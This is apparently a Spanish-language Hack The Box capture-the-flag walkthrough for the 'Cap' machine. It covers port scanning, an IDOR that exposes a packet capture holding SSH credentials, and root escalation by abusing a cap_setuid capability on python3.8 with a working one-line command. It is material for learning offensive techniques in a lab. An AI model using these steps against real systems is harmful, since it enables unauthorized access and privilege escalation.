← Volver
Hack The Box
Fácil

Máquina CAP - HTB

Publicado: 2026-02-22

Disclaimer

Nota: Por motivos de ética y para fomentar el aprendizaje, algunos datos sensibles (contraseñas y flags) han sido censurados parcial o completamente.

Reconocimiento

Vamos a realizar la parte del reconocimiento; primero vamos a crear nuestras carpetas de trabajo.

> mkt
> ls

content exploits nmap script

Luego vamos a proseguir con el escaneo de puertos, para ver qué servicios están corriendo en la máquina CAP.

> nmap -p- —open -sS —min-rate 5000 -vvv -n -Pn 10.129.3.69 -oG AllPorts
> extractPorts AllPorts

─────┬─────────────────────────────────────────────────────────────────────────────────
───────
File: extractPorts.tmp
─────┼─────────────────────────────────────────────────────────────────────────────────
───────
 1
 2   │ [*] Extracting information...
 3
 4   │     [*] IP Address: 10.129.3.69
 5   │     [*] Open ports: 21,22,80
 6
 7   │ [*] Ports copied to clipboard
 8
─────┴─────────────────────────────────────────────────────────────────────────────────
───────

Un puerto 21, 22 y 80, vamos a lanzar un escaneo más exhaustivo para obtener más información.

> nmap -p21,22,80 -sCV 10.129.3.69 -oN target

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-22 18:34 -03
Nmap scan report for 10.129.3.69
Host is up (0.20s latency).
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.08 seconds

Se observa un servicio FTP en el puerto 21, una web en el puerto 80 y SSH por el puerto 22.

No nos detecta que el usuario anonymous esté disponible para el servicio FTP, por tanto, vamos a ir directamente a la página web para observar qué contiene.

Imagen Web

Se ve un panel de eventos de seguridad; estamos directamente logueados como nathan. Vemos otras secciones a la izquierda, donde se ve IP Config, Network Status, etc.

Mirando cada sección me encuentro con algo interesante.

Explotación

IDOR

Se observa un identificador, por un posible IDOR, cambié el número para ver qué ocurría, y me mostró una cantidad de info, que al darle al download se guardaba como 0.pcap.

Info IDOR

Un IDOR (Insecure Direct Object Reference o Referencia Directa Insegura a Objetos) es una vulnerabilidad de seguridad web donde una aplicación expone una referencia a un objeto interno (como una base de datos o archivo) sin verificar la autorización del usuario. Esto permite a un atacante acceder, modificar o eliminar datos ajenos simplemente cambiando un ID en la URL o solicitud.

Por tanto, decidí analizarlo con Wireshark, para ver qué se podía obtener del 0.pcap.

shark1

shark2

Se observan unas credenciales, un usuario nathan y su contraseña B*******3!. Por tanto, voy a conectarme por SSH con esta contraseña para ver si funciona.

shark2

Por tanto, nos conectamos y estamos como user; ahora toca la escalada de privilegios.

Escalada de Privilegios

Realizando un poco de enumeración con linpeas me encuentro lo siguiente:

shark2

Vemos que el python3.8 tiene capabilities, y una muy crítica, el cap_setuid.

Info

CAP_SETUID es una capacidad de Linux que permite a un proceso manipular de forma arbitraria sus IDs de usuario (UID real, efectivo y guardado). Si el binario de Python tiene esta capacidad configurada (por ejemplo, mediante cap_setuid+ep), cualquier usuario que lo ejecute puede elevar sus privilegios a root.

Por tanto vamos a abusar de ello, para convertirnos en root.

nathan@cap:/$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root

Y con eso logramos escalar privilegios y lograr ser root en la máquina CAP de HTB.

Aprendizaje

  • En esta máquina vimos cómo abusar de IDORS y ver información que no debería ser visible para cualquier usuario.

  • También cómo analizar archivos .pcap con Wireshark.

  • Luego vimos cómo abusar de Python cuando tiene la capability SUID.